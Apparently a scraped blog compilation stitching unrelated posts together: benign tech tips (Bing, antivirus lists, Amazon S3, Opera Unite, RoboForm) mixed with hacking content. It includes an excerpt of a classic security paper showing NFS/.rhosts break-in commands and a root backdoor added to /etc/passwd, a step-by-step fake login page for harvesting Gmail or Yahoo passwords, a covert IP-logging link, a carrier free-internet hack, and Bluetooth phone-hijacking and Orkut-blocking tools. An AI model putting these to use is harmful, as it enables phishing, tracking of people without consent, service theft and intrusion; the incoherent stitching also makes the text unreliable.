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Airtel Hack For Free Internet Access

All you need to have is
–>PC
–>Serial/USB cable/Bluetooth dongle
–>Any Browser(I suggest Opera as we can browse both wap and other sites)

Follow These Steps:
—>Activate Airtel Live sending a message MASALA Active to 121
—>Create a profile with the following settings in your data account under Data Communication

GATEWAY : 100.1.200.99
APN : airtelfun.com
USERNAME : blank
PASSWORD : blank
PASS REQ : OFF
ALLOW CALLS : AUTOMATIC
IPADDRESS :
DNSADDRESS :
DATA COMP : OFF
HEADER COMP : OFF

and then Under INTERNET PROFILES,

INTERNET MODE : HTTP or WAP (both works)
USE PROXY : YES
IP ADDRESS : 100.1.200.99
PORT : 8080
USERNAME :
PASSWORD :

–>Create a new dial-up connection on your pc after connecting the mobile to pc,using the NEW CONNECTION WIZARD as follows

ISP Name : Anyname
Phone Number : *99***1#
Username and Password : blank

–>Configure your browser to use the proxy 100.1.200.99 and port 8080.

–>Connect to the dial-up account. You will be connected at 115.2kbps

—>Now if you try to access any site on your mobile you ll get an error message like “Access Denied”

—>Open your browser, and start browsing and voila it opens the regular sites and if u beleive ull get a d/l speed of 5-6 kbps

Common Errors:
If you are getting any error wile dialing a dial up connection than go to
Control panel>> Phone and modem>>>select modem and click on its properties >>advanced
and enter the following initialization commands
CODE
AT+CGDCONT=2, “IP”,”airtelfun.com”,”",0,0

Now it should be connected without any error......!

Improving the Security of Your Site by Breaking Into it

Introduction

------------



Every day, all over the world, computer networks and hosts are being

broken into. The level of sophistication of these attacks varies

widely; while it is generally believed that most break-ins succeed due

to weak passwords, there are still a large number of intrusions that use

more advanced techniques to break in. Less is known about the latter

types of break-ins, because by their very nature they are much harder to

detect.



-----



CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley .

Purdue. Sun. You name it, we've seen it broken into. Anything that is

on the Internet (and many that isn't) seems to be fairly easy game. Are

these targets unusual? What happened?



Fade to...



A young boy, with greasy blonde hair, sitting in a dark room. The room

is illuminated only by the luminescense of the C64's 40 character

screen. Taking another long drag from his Benson and Hedges cigarette,

the weary system cracker telnets to the next faceless ".mil" site on his

hit list. "guest -- guest", "root -- root", and "system -- manager" all

fail. No matter. He has all night... he pencils the host off of his

list, and tiredly types in the next potential victim...



This seems to be the popular image of a system cracker. Young,

inexperienced, and possessing vast quantities of time to waste, to get

into just one more system. However, there is a far more dangerous type

of system cracker out there. One who knows the ins and outs of the

latest security auditing and cracking tools, who can modify them for

specific attacks, and who can write his/her own programs. One who not

only reads about the latest security holes, but also personally

discovers bugs and vulnerabilities. A deadly creature that can both

strike poisonously and hide its tracks without a whisper or hint of a

trail. The uebercracker is here.



-----



Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's

uebermensch, or, literally translated into English, "over man."

Nietzsche used the term not to refer to a comic book superman, but

instead a man who had gone beyond the incompetence, pettiness, and

weakness of the everyday man. The uebercracker is therefore the system

cracker who has gone beyond simple cookbook methods of breaking into

systems. An uebercracker is not usually motivated to perform random

acts of violence. Targets are not arbitrary -- there is a purpose,

whether it be personal monetary gain, a hit and run raid for

information, or a challenge to strike a major or prestigious site or

net.personality. An uebercracker is hard to detect, harder to stop, and

hardest to keep out of your site for good.



Overview

--------



In this paper we will take an unusual approach to system security.

Instead of merely saying that something is a problem, we will look

through the eyes of a potential intruder, and show _why_ it is one. We

will illustrate that even seemingly harmless network services can become

valuable tools in the search for weak points of a system, even when

these services are operating exactly as they are intended to.



In an effort to shed some light on how more advanced intrusions occur,

this paper outlines various mechanisms that crackers have actually used

to obtain access to systems and, in addition, some techniques we either

suspect intruders of using, or that we have used ourselves in tests or

in friendly/authorized environments.



Our motivation for writing this paper is that system administrators are

often unaware of the dangers presented by anything beyond the most

trivial attacks. While it is widely known that the proper level of

protection depends on what has to be protected, many sites appear to

lack the resources to assess what level of host and network security is

adequate. By showing what intruders can do to gain access to a remote

site, we are trying to help system administrators to make _informed_

decisions on how to secure their site -- or not. We will limit the

discussion to techniques that can give a remote intruder access to a

(possibly non-interactive) shell process on a UNIX host. Once this is

achieved, the details of obtaining root privilege are beyond the scope

of this work -- we consider them too site-dependent and, in many cases,

too trivial to merit much discussion.



We want to stress that we will not merely run down a list of bugs or

security holes -- there will always be new ones for a potential attacker

to exploit. The purpose of this paper is to try to get the reader to

look at her or his system in a new way -- one that will hopefully afford

him or her the opportunity to _understand_ how their system can be

compromised, and how.



We would also like to reiterate to the reader that the purpose of this

paper is to show you how to test the security of your own site, not how

to break into other people's systems. The intrusion techniques we

illustrate here will often leave traces in your system auditing logs --

it might be constructive to examine them after trying some of these

attacks out, to see what a real attack might look like. Certainly other

sites and system administrators will take a very dim view of your

activities if you decide to use their hosts for security testing without

advance authorization; indeed, it is quite possible that legal action

may be pursued against you if they perceive it as an attack.



There are four main parts to the paper. The first part is the

introduction and overview. The second part attempts to give the reader

a feel for what it is like to be an intruder and how to go from knowing

nothing about a system to compromising its security. This section goes

over actual techniques to gain information and entrance and covers basic

strategies such as exploiting trust and abusing improperly configured

basic network services (ftp, mail, tftp, etc.) It also discusses

slightly more advanced topics, such as NIS and NFS, as well as various

common bugs and configuration problems that are somewhat more OS or

system specific. Defensive strategies against each of the various

attacks are also covered here.



The third section deals with trust: how the security of one system

depends on the integrity of other systems. Trust is the most complex

subject in this paper, and for the sake of brevity we will limit the

discussion to clients in disguise.



The fourth section covers the basic steps that a system administrator

may take to protect her or his system. Most of the methods presented

here are merely common sense, but they are often ignored in practice --

one of our goals is to show just how dangerous it can be to ignore basic

security practices.



Case studies, pointers to security-related information, and software are

described in the appendices at the end of the paper.



While exploring the methods and strategies discussed in this paper we we

wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in

shell, perl, expect and C, it examines a remote host or set of hosts and

gathers as much information as possible by remotely probing NIS, finger,

NFS, ftp and tftp, rexd, and other services. This information includes

the presence of various network information services as well as

potential security flaws -- usually in the form of incorrectly setup or

configured network services, well-known bugs in system or network

utilities, or poor or ignorant policy decisions. It then can either

report on this data or use an expert system to further investigate any

potential security problems. While SATAN doesn't use all of the methods

that we discuss in the paper, it has succeeded with ominous regularity

in finding serious holes in the security of Internet sites. It will be

posted and made available via anonymous ftp when completed; Appendix A

covers its salient features.



Note that it isn't possible to cover all possible methods of breaking

into systems in a single paper. Indeed, we won't cover two of the most

effective methods of breaking into hosts: social engineering and

password cracking. The latter method is so effective, however, that

several of the strategies presented here are geared towards acquiring

password files. In addition, while windowing systems (X, OpenWindows,

etc.) can provide a fertile ground for exploitation, we simply don't

know many methods that are used to break into remote systems. Many

system crackers use non-bitmapped terminals which can prevent them from

using some of the more interesting methods to exploit windowing systems

effectively (although being able to monitor the victim's keyboard is

often sufficient to capture passwords). Finally, while worms, viruses,

trojan horses, and other malware are very interesting, they are not

common (on UNIX systems) and probably will use similar techniques to the

ones we describe in this paper as individual parts to their attack

strategy.



Gaining Information

-------------------



Let us assume that you are the head system administrator of Victim

Incorporated's network of UNIX workstations. In an effort to secure

your machines, you ask a friendly system administrator from a nearby

site (evil.com) to give you an account on one of her machines so that

you can look at your own system's security from the outside.



What should you do? First, try to gather information about your

(target) host. There is a wealth of network services to look at:

finger, showmount, and rpcinfo are good starting points. But don't stop

there -- you should also utilize DNS, whois, sendmail (smtp), ftp, uucp,

and as many other services as you can find. There are so many methods

and techniques that space precludes us from showing all of them, but we

will try to show a cross-section of the most common and/or dangerous

strategies that we have seen or have thought of. Ideally, you would

gather such information about all hosts on the subnet or area of attack

-- information is power -- but for now we'll examine only our intended

target.



To start out, you look at what the ubiquitous finger command shows you

(assume it is 6pm, Nov 6, 1993):



victim % finger @victim.com

[victim.com]

Login Name TTY Idle When Where

zen Dr. Fubar co 1d Wed 08:00 death.com



Good! A single idle user -- it is likely that no one will notice if you

actually manage to break in.



Now you try more tactics. As every finger devotee knows, fingering "@",

"0", and "", as well as common names, such as root, bin, ftp, system,

guest, demo, manager, etc., can reveal interesting information. What

that information is depends on the version of finger that your target is

running, but the most notable are account names, along with their home

directories and the host that they last logged in from.



To add to this information, you can use rusers (in particular with the

-l flag) to get useful information on logged-in users.



Trying these commands on victim.com reveals the following information,

presented in a compressed tabular form to save space:



Login Home-dir Shell Last login, from where

----- -------- ----- ----------------------

root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com

bin /bin Never logged in

nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co

daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com

sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com

zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com

sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com

guest /export/foo /bin/sh Never logged in

ftp /home/ftp Never logged in



Both our experiments with SATAN and watching system crackers at work

have proved to us that finger is one of the most dangerous services,

because it is so useful for investigating a potential target. However,

much of this information is useful only when used in conjunction with

other data.



For instance, running showmount on your target reveals:



evil % showmount -e victim.com

export list for victim.com:

/export (everyone)

/var (everyone)

/usr easy

/export/exec/kvm/sun4c.sunos.4.1.3 easy

/export/root/easy easy

/export/swap/easy easy



Note that /export/foo is exported to the world; also note that this is

user guest's home directory. Time for your first break-in! In this

case, you'll mount the home directory of user "guest." Since you don't

have a corresponding account on the local machine and since root cannot

modify files on an NFS mounted filesystem, you create a "guest" account

in your local password file. As user guest you can put an .rhosts entry

in the remote guest home directory, which will allow you to login to the

target machine without having to supply a password.



evil # mount victim.com:/export/foo /foo

evil # cd /foo

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd

evil # ls -lag

total 3

1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .

1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..

1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest

evil # su guest

evil % echo evil.com >> guest/.rhosts

evil % rlogin victim.com

Welcome to victim.com!

victim %



If, instead of home directories, victim.com were exporting filesystems

with user commands (say, /usr or /usr/local/bin), you could replace a

command with a trojan horse that executes any command of your choice.

The next user to execute that command would execute your program.



We suggest that filesystems be exported:



o Read/write only to specific, trusted clients.

o Read-only, where possible (data or programs can often be

exported in this manner.)



If the target has a "+" wildcard in its /etc/hosts.equiv (the default in

various vendor's machines) or has the netgroups bug (CERT advisory

91:12), any non-root user with a login name in the target's password

file can rlogin to the target without a password. And since the user

"bin" often owns key files and directories, your next attack is to try

to log in to the target host and modify the password file to let you

have root access:



evil % whoami

bin

evil % rsh victim.com csh -i

Warning: no access to tty; thus no job control in this shell...

victim % ls -ldg /etc

drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc

victim % cd /etc

victim % mv passwd pw.old

victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd

victim % ^D

evil % rlogin victim.com -l toor

Welcome to victim.com!

victim #

Meet an Awesome Search Engine for iPhone Apps – Bing

Bing has just launched a new feature called Visual Search where you can search stuff with the mouse without having to any text queries.
For instance, you can open the book section, scroll through the popular book covers (they are sorted by name by default) and then narrow the search results based on the author name, the category of the book or even the length (number of pages). You can further sort this resultset based on the book’s release date or the sales rank of that book.
Bing’s Visual Search includes an awesome interface for finding apps for your iPhone or iPod Touch without firing up the iTunes Apps store.
Go to Top iPhone Apps, narrow down your search results by category (Productivity, Games, Office, etc), choose whether you are looking for free app or paid ones (and if so, you can also specify the price range) and there you have all the apps that you may be looking for.
Yoga Poses are another interesting feature of Bing. Basically you can narrow down search results to yoga poses that help in the ailment of particular diseases or poses that are beneficial for different body parts (arms, heart, etc.).
Then you have travel destinations to help you plan your next family vacation.
You can not only filter places visually based on countries and on months when you are planning to take a break. And if things look a bit confusing, just choose the "Most popular on Bing" option to just see places that are most popular on the web.
Video screencast – Bing
If you don’t have the Silverlight plugin on your computer yet, it’s time to get one else you’ll miss using something that not only beautiful but very useful as well.

How to fix your infected computer


IS your PC infected by virus,spyware etc?,Does your pc much takes time to start?,Are you looking for tools to fix up your infected computer then this post is just for you,
I get this question getting asked frequently,"How to fix your infected computer",I have posted here many ways to fix your infected computer and Make it start faster

How to fix you infected computer



Here are some steps you need to take when fixing your infected computer:


Antivirus software

1.Kaspersky:

It is one of the best antivirus availible on web,Kaspersky Anti-Virus features include real-time protection, detection and removal of viruses, trojans, worms, spyware, adware, keyloggers malicious tools and Auto-Dialers, as well as detection and removal of rootkits. It also includes instantaneous automatic updates via the "Kaspersky Security Network" service.

2.Avira

Avira uses very less CPU and is quite compact.Avira free is much better than Avira Premium even though it offers web filter and mail filter

3.AVG
AVG is one of the most used antiviruses now a days,most of all its free and antispyware too,It is very light and does not acquire too much disk space

4.
Norton
Quite slow if you have a 512 MB or 1GB RAM.2GB and 3 GB RAM Users are only advised to use this software.But it is extremely good in virus detection and does not leave a single trace of any damage,It detects 90% of viruses but not better than kaspersky.

Antispyware:



Spyware is a type of malware that is installed on computers and that collects information about users without their knowledge. The presence of spyware is typically hidden from the user. Typically, spyware is secretly installed on the user's personal computer. Sometimes, however, spywares such as keyloggers are installed by the owner of a shared, corporate, or public computer on purpose in order to secretly monitor other users.

Antispware is the second step in to fix your infected computer.Running anti-spyware software has become a widely recognized element of computer security practices for computers, especially those running Microsoft Windows. A number of jurisdictions have passed anti-spyware laws, which usually target any software that is surreptitiously installed to control a user's computer

Here is a list of some antispywares which i would recommend:

1.Ad-Aware Free Anniversary Edition 8.0.7:
It eliminates spy archives and him easily aid to eliminate them of fast form. It can choose the modules to eliminate, to keep files from registry, and to personalize the menu of the program

2.a-squared Free 4.5.0.8:
Also known like a², one specializes in detecting, to eliminate malwares (all type of harmful file). To the day of today, a-squared detects and eliminates more of: 24.000 trojans, 67.000 worms, 40.000 dialers, 11.000 spyware y 70.000 plans or signs.

3
.Malwarebytes Anti-Malware:

This antispy analyzes the discs in search of malware With option to eliminating them. This antispy can be programmed to analyze PC at a certain hour. It has a list for files in quarantine and to ignoring. There exists the possibility of activating the protection in real time (Itdetects the threats before that enter to the system), which, it is of payment.

Others are such as spyware blaster,spy defence etc

Registry scanner:


Next you need a registry scanner, to fix your infected computer,Viruses often copy their algorithm into the registry entry.So you are only 50% done after you delete the virus)
Well there are many registry cleaners availible such as

1.Eusing Free Registry Cleaner/scanner
2.Registry fix
3.Auslogics registry cleaner(My recommendation)

Trojan horse removal:



For this you can read my post on "Trojan horse removal"

Ccleaner:


After that you can download CCleaner and optimize your computer speed by deleting unwanted registry and internet tracing cookies and temporary files.

Bonus:

Anti-Malware Toolkit - a program that automatically downloads all of the recommended programs to help users clean their computers and have them running at peak performance again.

Help keep your computer safe, secure and clean from malware - get the Anti-Malware Toolkit today!

Download anti malware tool kit here

How to Trace ip address of remote computer

Trace ip address
Most of you may be curious to know how to trace the IP address of a remote computer or to find the IP address of the person with whom you are chatting in Yahoo messenger or Gtalk or msn.In this post I will tell you How to trace ip address of a remote computer,Well i had been asked this question for a long period and many of users have requested me make a post on How to trace ip address on a remote computer

I have created a PHP script to make it easier for you to find the IP address of the remote computer of your choice. Here is a step-by-step process to find out the IP address.

How to trace ip address - Method



1. Download the IP Finder script (IP_Finder.ZIP) that I have created.

2. Create an account on 110mb,ripway,t35(or any free host that supports PHP).

3. Extract the IP_Finder.ZIP file and upload the two files ip.php and ip_log.txt into the root folder of your hosting account using the File Manager.

4. You can rename the ip.php to any name of your choice.

5. Set the permission to 777 on ip_log.txt.

Now you are all set to trace the IP address of a remote computer of your choice. All you have to do is send the link of ip.php to your friend or the person with whom you’re chatting. Once the person click’s on the link, his/her IP address is recorded in the file ip_log.txt.

For your better understanding let’s take up the following example.

Suppose you open a new account in 110mb.com with the subdomain as 123, then your IP Finder link would be

http://123.110mb.com/ip.php

You have to send the above link to you friend via email or while chatting and ask him to visit that link. Once your friend clicks on the link, his IP address will be recorded along with the Date and Time in the ip_log.txt file. After recording the IP address, the script will redirect the person to google.com so as to avoid any suspicion.

To find the recorded IP address check the logs using the following link.

http://123.110mb.com/ip_log.php

The sample log will be in the following format

101.92.133.233 Friday 07th of sep 2009 07:31:27 PM
45.45.144.237 Friday 07th of sep 2009 07:31:28 PM
123.44.144.233 Friday 07th of sep 2009 07:31:31 PM

NOTE: You have to replace abc with your subdomain name.

I hope this helps,Please express your thoughts by commenting

How to hack cellfones

In this post you will learn that what it takes for "How to hack cellfones" and find out what others are doing.Well Most of the people are curious about "How to hack cellfones",Well today i will tell procedure for to hack cell fones.Friends here is a bluetooth hacking software ,using bluetooth hacking software u can "hack any cell phones" this software is the latest version Bluetooth Hack v 1.07. click here to download.

Advantages of this software.
Once if ur connected to another phone via bluetooth you can:
- you can read his/her messagess
- you can read his/her contacts
- you can change hi/her profile
- you can also play his/her ringtones even his/her phone is in silent
- you can play his songs from his/her mobile
- you can restart his/her mobile
- you can switch off his/her mobile
- u can restore his/her factory setings
- you can also change ringing volume of his/her mobile..
- the best part of it is u can call from his mobile which also includes all call functions like hold on etc etc..
Mobile phone hacking will only work if you follow the steps correctly
This software is very much suitable for sony ericcsson mobiles.
If u like it replies are always welcome.

How to create Fake login page for any website

Now it's easy to build a Fake Login Pages without any knowledge of Programming Languages. One can use http://www.jotform.com to build the Sign Up page.

{1} Open www.jotform.com and Sign Up.
{2} then Login there with your newly registered account.
{3} now click on ‘ Create your first form’.
{4} Now delete all the pre-defined entries, just leave ‘First Name:’ (To delete entries, select the particular entry and then click on the cross sign.)
{5} Now Click on ‘First Name:’ (Exactly on First Name). Now the option to Edit the First Name is activated, type there “username:” (for Gmail) or YahooId: (for Yahoo)
{6} Now Click on ‘Power Tool’ Option (In right hand side…)
{7} Double click on ‘Password Box’. Now Click the newly form password entry to edit it. Rename it as ‘Password:’
{8} Now Click on ‘Properties’ Option (In right hand side…). These are the form properties.
{9} You can give any title to your form. This title is used to distinguish your forms. This Title cannot be seen by the victim.
{10} Now in Thank You URL you must put some link, like http://www.google.com or anything. Actually after entering username & password, user will get redirect to this url.(Don’t leave it blank…)
{11} Now Click on ‘Save’. After saving, click on ‘Source’ Option.
{12} Now you can see two Options, namely ‘Option1′ & ‘Option2′. Copy the full code of ‘Option2′.
{13} Now open Notepad text editor and write the following code their.
Paste the Option2 code here
{14} And now save this as index.html. And then host it, mean you will have to put it on the internet so that everyone can view it. Now i think that you would be knowing it and if in case you do not know it please leave a comment with your email-id and i will mail you how to do it.
Now you can view it by typing the url in the address bar.

NOTE: If u want to send it to the internet, then first you will have to create a hosting account which you can create on www.110mb.com and there are many other sites which you can find on the internet very easily.
I suppose that you created your account at 110mb.com
now login to your account then click on “File Manager”, then click on “upload files” or just “upload”. Then select the file which you want to send to the internet and click on upload. And you are done.
Now you can access you file on the net by just typing the url ofthe file.
And you will receive password of the users that login to your site through email-id which you’ve entered while creating the form.

Thats how you can create fake login page for your desired site,hope you enjoyed the post
Warning:Hacking is a Crime

Hacking Orkut

Learn to block your friends scrapbook in orkut
It will be really scary when you will find out that you are not able to reply to your friends scrap from your own scrapbook. Yes this hack can be used to block anybody’s scrapbook. The best part is that after the scrapbook is blocked nobody can scrap him.

Now to block your freinds scrapbook,You just need t paste the below code in your friends scrapbook.

Download the script

1.Victim cannot open his/her scrapbook,Whenever he will open his/her scrapbook he will be redirected to login sceen.

2.After this Whenever anybody will enter his scrapbook he will be Redirected to his Login Screen.

Solution : (To Unblock it)

To avoid being logged off again when you see the scrap, you can block flash in your browser.

For Firefox download the following plugin :

Download the plugin

In opera, you can disable the flash plugin.

Now this will only allow you to enter the scrapbook but your friends will still not be able to scrap you. So for that you need to delete the scrap.

Another Method:

First open your scrapbook.

Now Open your Orkut Homepage in a new window( Don't close the scrapbook ). You will find the login page.

Now enter your detail and login to Orkut.

After being logged in delete the scrap from the scrapbook page that you had kept open.

Amazon S3 Hosting Tips You Should Know About

If you using Amazon S3 (or CloudFront) for your web hosting needs, here are some essential tips that you should know about.

The tips discussed here will also help reduce your monthly S3 bandwidth (thus saving you money) and you don’t have to be "technical guru" to implement them. There are a couple of good S3 file managers that provide a visual interface to manage S3 though my personal favorite is CloudBerry Explorer.

Tip #1: Are people misusing your S3 files

Amazon S3’s bandwidth rates are inexpensive and you pay for what you use. The problem is that if other websites are hot-linking to your S3 hosted content (like images, MP3s, Flash videos, etc.), you’ll also have to pay for bandwidth consumed by these sites.

s3 log file

Unlike Apache web servers where you can easily prevent hot-linking through .htaccess files, Amazon S3 offers no such mechanism but what you can do is enable logging for all your S3 buckets. Amazon will then log all client requests in log files that you can parse in Excel to know about sites misusing your content.

Send the owner an email or simply change the name /location of your S3 object and update your web templates to reflect the new web address.

How to Implement - Create a new S3 bucket to store your logs. Now right-click the bucket name and choose "Logging".

Tip #2: Create Time Limited Links

By default, all public files in your S3 account are available for download forever until you delete the file or change the permissions.

However, if you are running some sort of contest on your site where you are giving away a PDF ebook or some MP3 ringtone to your visitors, it doesn’t make sense to have those file live on your S3 server beyond the duration of the contest.

expire files after a time period

You should therefore consider creating "signed URLs" for such temporary S3 files – these are time limited URLs that are valid for a specific time period and expire afterwards (or return 404s).

How to Implement – Right click a file in the S3 bucket, choose Web URL and then set a Expiry Time. Click Generate to created a "signed URL".

Tip #3: Use Amazon S3 without a Domain Name

It’s a common myth that you need to have a domain in order to host files on Amazon S3. That’s not true.

Simply create a new bucket on Amazon S3, set the file access to public and Amazon will provide you with a public URL which is something of the form bucketname.s3.amazonaws.com/filename

Tip #4: Set Expiry Headers for Static Images

It is important that you add an an Expires or a Cache-Control HTTP Header for static content on your site like images, Flash files, multimedia or any other content that doesn’t change with time. For a more detailed explanation, please see this post on how to improve website loading time with S3.

The gist is that all web browsers store objects in their cache and this Expires header in the HTTP response tells the browser how long that object should stay in the cache. So if it’s a static image, you can set the Expires date sometime in future and client browser won’t request the object again if the same visitor views another page on your site.

expires http header

How to Implement – To set an expires header, right click the S3 object properties, choose HTTP headers and add a new header. Call it "Expires" and set an expiration date like "Tue, 12 Apr 2010 01:00:00 GMT".

Tip #5: Use BitTorrent Delivery for large files

If you are planning to distribute some large files of the web (like a software installer or some database dump) via Amazon S3, it makes to sense to use BitTorrent with S3 so that you don’t necessarily have to pay for all the download bandwidth.

Each client will then download some part of the file from your Amazon S3 ("seeder") and some part from other torrent clients, while simultaneously uploading pieces of the same file to other interested "peers." Thus your overall cost for distributing that file on the web get lowered.

The starting point for a BitTorrent download is a .torrent file and you can quickly create a .torrent file to any S3 object by adding "?torrent" to the original web URL.

For instance, if the original S3 object URL is ..

http://labnol.s3.amazonaws.com/software-installer.zip

..the torrent file for that object will be

http://labnol.s3.amazonaws.com/software-installer.zip?torrent

Later, if you want to prevent distributing that file via BitTorrent, simply remove anonymous access to it or delete the file from the S3 bucket.

Tip #6: Block Google & search bots

To prevent bots from indexing files stored in your Amazon S3 buckets, create a robots.txt file at the root and it should say:

User-agent: *
Disallow: /

Make sure that you update the ACL (or access permissions) to public else spiders won’t find your robots.txt file.

Turn Your Home Computer into a Web Server in 2 Minutes

Before getting into the actual process, let’s look at a couple of real-world situations that explain why you may want to turn your home computer into a web server.

Situation #1. Say you have music MP3s, documents and other important files on the hard drive of your home computer. If you turn this home computer into a web server, you will be able to access all these files from office or any other Internet connected machine including your mobile phone.

Situation #2. You have some personal photographs that you want to share with other family members. You can either upload these pictures online to a site like Flickr or better still, just convert the computer into a web server. Now you can connect the camera to the computer, transfer the digital pictures to some designated folder and they’ll instantly become available to your friends and family anywhere in the world.

Situation #3. You want to host a website on the internet but the web hosting jargon like FTP, DNS, etc. is way too complex for you. The workaround therefore is that you setup a web server on your home computer (it’s easy) and then host a website in seconds without spending a single penny on external web hosting services.

Now if any of the above reasons look convincing enough, here’s how you can convert your Windows, Mac or Linux PC into a web server in less than two minutes – no technical knowledge required.

Go to labs.opera.com, download the Opera Unite software and install it. Congratulations, you are now running a web server on your machine and just need another minute to configure local file folders that you want to share with others over the internet.

Here’s an illustrated screenshot of the configuration panel – nothing technical here again.

webserver

Start the Opera Web browser (yes, that’s also you web server now) and enable the Opera Unite service from the lower left corner. Now double click the File Sharing link and select the folder whose content you want to share on the web. Any file or folder inside this folder can now be accessed over the internet – you can either use a public URL or specify a password for private sharing.

The following screencast video has more detailed instructions on how to get started with Opera Unite or you may refer to the User Guide if you get stuck somewhere.

Opera Unite looks pretty useful but there are other services around that can also do pretty similar stuff. For instance, both PurpleNova and Dekoh Dekstop enable users share content on the Internet directly from the hard drive without having to upload it anywhere.

Update: It’s important to note that your computer must be in running state and also connected to the Internet for others to download files and web pages since Opera Unite streams content directly from your machine – it doesn’t upload or caches anything to its own

Sync Your Passwords Across All Computers with RoboForm

Password manager programs are a boon for users who have multiple logins at various sites and are smart enough to not use the same common password across all these different sites.

You can easily choose a very strong and complex password for that online banking site without having to remember it since the password manager will autofill the login form with the password whenever you visit the bank’s website.

Synchronize to Access Your Passwords from other Computers

One of the most popular password managers around is AI RoboForm that stores all your saved logins & passwords as .rfp files on the local hard drive encrypted using the 128-bit AES standard. In simple English, decrypting such files is considered out of the realm of possibility for all known computing facilities.

Sync RoboForm passcards

If your work involves multiple computers, you’ll be happy to know that RoboForm software offers couple of good choices for password synchronization across computers.

You can either create a free online account at roboform.com and synchronize your passwords across multiple computers using the cloud (RoboForm servers) or, if you want to stay in control of your data, you can put the RoboForm data to a separate location (like another folder on the same computer or a removable flash drive) and then synchronize these locations with other computers using tools like Live Mesh or Live Sync.

To get started, just install Goodsync and then from your RoboForm Options, choose the Change Sync Settings option under User Data. Enter the details of your RoboForm Online account or select a USB drive, a folder on another network-connected computer or another folder on the same computer.

In addition to the cloud, you may also save RoboForm passwords to your Amazon S3 buckets or an FTP server. At the time of writing, both modes of synchronization were not simultaneously available.

The synchronization of passwords will happen automatically when RoboForm saves a password file or when you enter the Master Password or you can manually instruct RoboForm to "Sync RoboForm Data".

passwords on amazon s3

Access Saved Passwords without RoboForm

Once your logins and passwords are saved onto your RoboForm Online account, you can retrieve this information on any computer using a web browser.

If that computer has RoboForm installed, the software can automatically log you into any of the saved websites. However, if the computer doesn’t have RoboForm installed, you’ll still be able to view the login and password information of any saved website and you can then manually copy-paste the credentials into the online form without too much of a hassle.

Alternatives to RoboForm for Password Synchronization

RoboForm is officially available for Internet Explorer, Firefox, BlackBerry and Windows Mobile but it won’t work if you are using Opera or a Webkit based browser like Google Chrome or Apple’s Safari.

In that case, you may either use LastPass (available for Windows/Mac/Linux and support most browsers except Opera) or download KeePass password manager and sync password information across computers using Windows Live Mesh. Unlike LastPass or RoboForm, KeePass won’t fill forms for your automatically.

Are your passwords safe online?

Your passwords files, stored on the RoboForm Online servers, are encrypted with your Master Password as the key. RoboForm says that "since your Master Password is not stored on our servers, absolutely nobody, including Siber Systems, can access your passwords or other RoboForm data."

And to avoid man-in-the-middle attacks, all communication between your PC and the Roboform servers takes place over Secure Sockets Layer (SSL). Using SSL, which is implemented on both your computer and the Roboform server, the data (password files) you send can be trusted to arrive privately and unaltered to the server you specify and no other.

Pros & Cons of using RoboForm

One can create more complex and difficult passwords, safe in the knowledge that they’re accessible online and from multiple locations. Automatic sync and backup ensures that your login credentials are safe incase your machine suffers a crash. And the option to sync passwords to a USB disk ensures that you can carry your passwords anywhere.

There’s however some risk involved in trusting a third party to host your passcards because, no matter how heavily encrypted a file might be, the entry point is still your Master Password.

Make sure the Master Password is as strong as you can make it – long, random and interspersed with characters, digits and symbols.

How to Transfer Mails from one Email Account to another for Freeow to Transfer Mails from one Email Account to another for Free

here can be several reasons why you may want to switch email service providers.

Reason #1. Your existing email address gets too much spam so you plan to dump the old account and switch to a new email address (a form of email bankruptcy).

Reason #2. You are leaving your existing job for higher studies and need to transfer all personal emails from the Microsoft Exchange server to your new university email account.

Reason #3. Your ISP’s email service isn’t reliable and you therefore plan to move to a free web based email service like Gmail, Yahoo Mail, Hotmail, etc.

Reason #4. You think the new email service from XYZ Inc. offers more features than your existing mail provider and hence want to make the move.

Moving Emails from One Account to Another

This illustration will help you visualize how to transfer email messages across the three most popular web email services. The transfer will happen online and you just need to specify the credentials (user name & password) of your old email account (from where you want to move message out) and your new email address (where you want to move messages in).

online email transfer

Moving to Windows Live Hotmail

Windows Live Hotmail is integrated with TrueSwitch so you can easily transfer emails from Yahoo Mail, AOL, Gmail, Live.com, .Mac, etc. to your shiny new Hotmail address. The same service may also be used for copying old email from an existing Hotmail account to a new Hotmail address.

Moving to Yahoo Mail

Like Windows Live Hotmail, Yahoo! Mail too provides integration with TrueSwitch so you can easy copy mails from Gmail, Hotmail, AOL, Juno, Rocket Mail, etc. into your Yahoo! account. With TrueSwitch, you can also copy mails from one Yahoo! inbox to another without upgrading to Yahoo! Mail Plus.

Moving to Gmail / Google Apps

Gmail (or Google Apps for Email) has a built-in Mail Fetcher feature that lets you download email messages from 5 different email accounts that support POP access. You may therefore use this feature to move your old Hotmail or AOL messages into Gmail as both these service provide free POP3 access.

The migration from Yahoo! Mail to Gmail is slightly tricky but possible. Keep reading.

Trick: Move emails from Yahoo Mail to Gmail or Outlook without POP

The free account of Yahoo Mail doesn’t provide IMAP or POP3 access so you can’t move these emails into Gmail or a desktop client like Microsoft Outlook.

The Yahoo! Mail Plus upgrade will add POP3 access to you account at $20 per year but if you want to save some money, here’s an alternate but simple trick:

move yahoo to gmail or hotmail

1. Create a new account at Windows Live Hotmail and fetch all your Yahoo! mails into this account using the free TrueSwitch Service.

2. Now that your mails are inside Hotmail, you can setup POP3 configuration to fetch those Yahoo messages into Gmail via Hotmail.

Migrating Emails Away from your ISP Account

